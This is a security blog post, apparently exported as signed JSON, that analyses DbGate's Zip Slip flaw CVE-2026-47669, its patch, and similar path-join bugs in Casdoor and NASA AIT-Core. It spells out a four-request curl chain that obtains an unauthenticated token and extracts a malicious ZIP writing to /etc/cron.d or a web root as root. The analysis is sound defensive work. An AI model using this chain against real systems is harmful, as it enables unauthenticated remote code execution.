-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The patch leaves the `path.join` call exactly where it was\n\n```diff\n- const destPath = path.join(outputDirectory, entry.fileName);\n+ const destPath = path.join(outputDirectory, entry.fileName);\n+ const resolvedDest = path.resolve(destPath);\n+\n+ // Zip-slip protection: every extracted path must stay inside outputDirectory\n+ if (resolvedDest !== resolvedOutputDir && !resolvedDest.startsWith(resolvedOutputDir + path.sep)) {\n+ return safeReject(\n+ new Error(`DBGM-00000 ZIP slip detected: entry \"${entry.fileName}\" would escape output directory`)\n+ );\n+ }\n```\n\nThe diff is in `packages/api/src/shell/unzipDirectory.js`. The pre-patch line composing `destPath` is preserved verbatim. The four added lines compute `path.resolve(destPath)` and compare it against a separately resolved `outputDirectory` boundary, rejecting any entry whose absolute path is not inside the prefix. The composition is the same. The check around it is new.\n\nThe shape of that diff is the whole post. `path.join(outputDirectory, entry.fileName)` was never going to keep things inside `outputDirectory`. The developer who wrote v7.1.8 thought it was. The developer who wrote v7.1.9 has read what the function actually does.\n\n## Node's path.join is a normalizer by spec\n\nNode's documentation for `path.join` describes the function as joining segments using the platform separator and \"then normalizing the resulting path.\" Normalization includes resolving `..` segments by walking back one directory each. The function does what its docs say.\n\n`path.join('/var/lib/dbgate-data/archive/foo', '../../../../../../etc/cron.d/pwn')` evaluates to `/etc/cron.d/pwn`. The `..` segments are cleaned, the base is consumed in the cleaning, the result escapes the prefix that the developer pictured as a boundary. There is no error, no warning, no return value indicating that the path left the parent. There never was.\n\nIn v7.1.8, that one call was the entire scoping discipline for ZIP extraction:\n\n```js\nzipFile.on('entry', entry => {\n const destPath = path.join(outputDirectory, entry.fileName);\n\n // Handle directories (their names always end with \"/\" in ZIPs)\n if (/\\/$/.test(entry.fileName)) {\n fs.promises\n .mkdir(destPath, { recursive: true })\n .then(() => zipFile.readEntry())\n .catch(reject);\n return;\n }\n\n // Handle files\n const filePromise = fs.promises\n .mkdir(path.dirname(destPath), { recursive: true })\n .then(\n () =>\n new Promise((res, rej) => {\n zipFile.openReadStream(entry, (err, readStream) => {\n if (err) return rej(err);\n const writeStream = fs.createWriteStream(destPath);\n readStream.pipe(writeStream);\n```\n\n`entry.fileName` is a byte sequence carried inside the ZIP central directory. The ZIP format places no restriction on those bytes; they are not filenames in the operating-system sense until something writes a file with them. `yauzl` exposes them verbatim. DbGate composed them into `outputDirectory` via `path.join`, then handed the result to `fs.promises.mkdir(destPath, { recursive: true })` and `fs.createWriteStream(destPath)`. The composition was treated as if it scoped the write to `outputDirectory`. The composition normalized.\n\nA ZIP entry named `../../../../../../etc/cron.d/pwn` writes to `/etc/cron.d/pwn`. A ZIP entry named `../../../../../../var/www/html/shell.php` writes to `/var/www/html/shell.php`. Whatever path the archive declares, the extractor honors, as the process's user.\n\n## The chain is unauthenticated in the default container\n\nThe advisory describes the surface as unauthenticated in default Docker deployments. The code in v7.1.8 confirms it line by line.\n\n`packages/api/src/auth/authProvider.js` defines `AuthProviderBase` and four subclasses. The base class's `login` method:\n\n```js\nasync login(login, password, options = undefined, req = undefined) {\n return {\n accessToken: jwt.sign(\n {\n amoid: this.amoid,\n },\n getTokenSecret(),\n { expiresIn: getTokenLifetime() }\n ),\n };\n}\n```\n\nTwo parameters named `login` and `password`. Neither is read. The function returns a freshly signed JWT for any caller.\n\n`createEnvAuthProvider()` picks the subclass to install at startup. The selection branches on environment variables: `AUTH_PROVIDER`, `STORAGE_DATABASE`, `OAUTH_AUTH`, `AD_URL`, then `LOGIN`/`PASSWORD` or `LOGIN_PASSWORD_*`. With none of those set, the `default` branch returns `new AuthProviderBase()`. That is the configuration produced by `docker run dbgate/dbgate` with no environment overrides, the configuration the project's quickstart documents as the way to try it.\n\n`SKIP_AUTH_PATHS` in `packages/api/src/controllers/auth.js` lists `/auth/login`. The login endpoint is unauthenticated by construction; it has to be, because authentication is what it grants. POST `/auth/login` with any JSON body returns a JWT. The JWT then satisfies the middleware on every other route, including the one that reaches `unzipDirectory`.\n\n`docker/Dockerfile` carries no `USER` directive. The process runs as root. `VOLUME /root/.dbgate` declares the data path under root's home.\n\nThe full chain against a default deployment is four requests:\n\n```bash\n# 1. Trade nothing for a token.\nTOKEN=$(curl -s -X POST http://target:3000/auth/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"login\":\"x\",\"password\":\"x\",\"amoid\":\"none\"}' \\\n | jq -r .accessToken)\n\n# 2. Upload a ZIP whose entries are named ../../../../../etc/cron.d/pwn etc.\nFILE_PATH=$(curl -s -X POST http://target:3000/uploads/upload \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -F \"data=@evil.zip\" | jq -r .filePath)\n\n# 3. Move the upload into the archive folder.\ncurl -s -X POST http://target:3000/archive/save-uploaded-zip \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"filePath\\\":\\\"$FILE_PATH\\\",\\\"fileName\\\":\\\"evil.zip\\\"}\"\n\n# 4. Extract. unzipDirectory walks every entry through path.join with no boundary check.\ncurl -s -X POST http://target:3000/archive/unzip \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"folder\":\"evil.zip\"}'\n```\n\nStep 4 enters the controller's `unzip` method:\n\n```js\nasync unzip({ folder }) {\n const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n socket.emitChanged(`archive-folders-changed`);\n return null;\n},\n```\n\n`unzipDirectory` enters the entry loop. Every `entry.fileName` of the form `../../../...` is `path.join`'d into the output directory, normalized out of it, and handed to `fs.createWriteStream` or `fs.promises.mkdir`. Anything the ZIP declares gets written, as root, on the host's filesystem. Dropping a file into `/etc/cron.d/` is the demonstrated path to RCE; the writable directory list on a Linux host is longer than that, and the extractor reaches all of them.\n\nThis is the unauth-write-to-execution-path shape end to end: an unauthenticated entry (the base auth provider's empty `login`), an arbitrary-write primitive (the unbounded `path.join`), and a destination the operating system runs as code (`/etc/cron.d/`, the document root of an adjacent webserver, a systemd unit directory). The default container ships every link of that chain enabled. None of the three are configurable away in the quickstart.\n\n## The same codebase already knew about path traversal\n\n`packages/api/src/controllers/uploads.js` defines a `get` route for downloading a previously uploaded file:\n\n```js\nget(req, res) {\n if (req.query.file.includes('..') || req.query.file.includes('/') || req.query.file.includes('\\\\')) {\n res.status(400).send('Invalid file path');\n return;\n }\n res.sendFile(path.join(uploadsdir(), req.query.file));\n},\n```\n\nThe author of `uploads.js` saw `path.join(uploadsdir(), req.query.file)` and recognized the shape: a path-joining helper with an attacker-controlled segment. They added a substring blocklist on `..`, `/`, and `\\` to constrain the segment before the join. The check is crude, the recognition was right. The trust boundary was named.\n\nThe author of `unzipDirectory.js` wrote `path.join(outputDirectory, entry.fileName)` and did not. The two files live in adjacent directories under `packages/api/src/`. The trust-boundary reasoning that produced the `uploads.js` check stopped before reaching the ZIP entry loop, because the developer's mental model placed attacker-controlled input at the HTTP query string. The entries inside a ZIP arrive over HTTP wrapped inside another file. The bytes are no less attacker-controlled for being wrapped.\n\nThe post-patch `unzipDirectory.js` adds the boundary check the codebase already knew how to write. The pre-patch version is what happened when the recognition did not cross the file boundary.\n\n## Third language, third standard library, same helper\n\nWe have now published three writeups on this pattern in seven weeks.\n\n[Casdoor's `GetFullPath`](/posts/casdoor-cve-2026-6815-getfullpath-joined-the-path-out) (CVE-2026-6815) composed Go's `filepath.Join(BaseDir, path)` with `filepath.Abs` and treated the composition as scoping. Go's `filepath.Join` is documented to clean `..` segments. `filepath.Join(\"/app/files\", \"../../../../etc/passwd\")` returns `/etc/passwd`. The patch added `filepath.Clean` with a `strings.HasPrefix(BaseDir + Separator, ...)` check after the join.\n\n[NASA AIT-Core's `_get_log_file`](/posts/nasa-ait-core-bsc-cve-2026-47731-docstring-was-the-allowlist) (CVE-2026-47731) composed Python's `os.path.join(handler[\"log_dir\"], handler[\"path\"], filename)` and treated the composition as scoping. Python's `os.path.join` is documented to discard everything before an absolute-path component. A caller-supplied `path=/etc/cron.d` overwrote the base. The patch added `os.path.realpath(log_file).startswith(os.path.realpath(root) + os.sep)` after the join.\n\nDbGate's `unzipDirectory` (CVE-2026-47669) composed Node's `path.join(outputDirectory, entry.fileName)` and treated the composition as scoping. Node's `path.join` is documented to normalize, which includes resolving `..` segments. `entry.fileName = \"../../../../../../etc/cron.d/pwn\"` produced `/etc/cron.d/pwn`. The patch added `path.resolve(destPath).startsWith(resolvedOutputDir + path.sep)` after the join.\n\nThree standard libraries. Three documented behaviors that are not what the developer thought the function did. Three patches with the same shape: leave the `Join` exactly where it is, add the prefix check after. This is the Join Is Not Sandbox pattern, and DbGate is its Node exhibit.\n\nThe pattern compounds because the helper compounds. Every general-purpose language ships a path-joining function. Every documentation page describes it as joining. None of them describe it as scoping, because none of them scope. The fix on every CVE in this class is in the four lines a developer must remember to write after the call.\n\nPoC and advisory: [GHSA-h535-j5hr-mv56](https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56)","closing_line":"The fix in `unzipDirectory.js` leaves `path.join(outputDirectory, entry.fileName)` exactly where it was. The four lines around it are the sandbox the function had never had.","hook_md":"DbGate's v7.1.9 patch for CVE-2026-47669 closes a Zip Slip in `unzipDirectory`. The patch does not change the function's `path.join` call. The patch adds four lines that read what `path.join` returned, because `path.join` was never the sandbox.","post_id":571,"slug":"dbgate-cve-2026-47669-unzipdirectory-joined-the-path-out","title":"CVE-2026-47669: DbGate's unzipDirectory Joined The Path Out Of The Archive.","type":"initial","unreadable_sentence":"The patch does not change the `path.join` call. The patch adds four lines that read what `path.join` returned."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarGPBAAKCRDeZjl4jgkQ JmzGAQC4WMOBYjDqWSJT/cmBMDAXTc88aKGHj97eQBc/pJ+4HQEAk9/EXNVeFmID gGFkKipzyE74Nhi9J9B+SH8VJZCkQQI= =nLtw -----END PGP SIGNATURE-----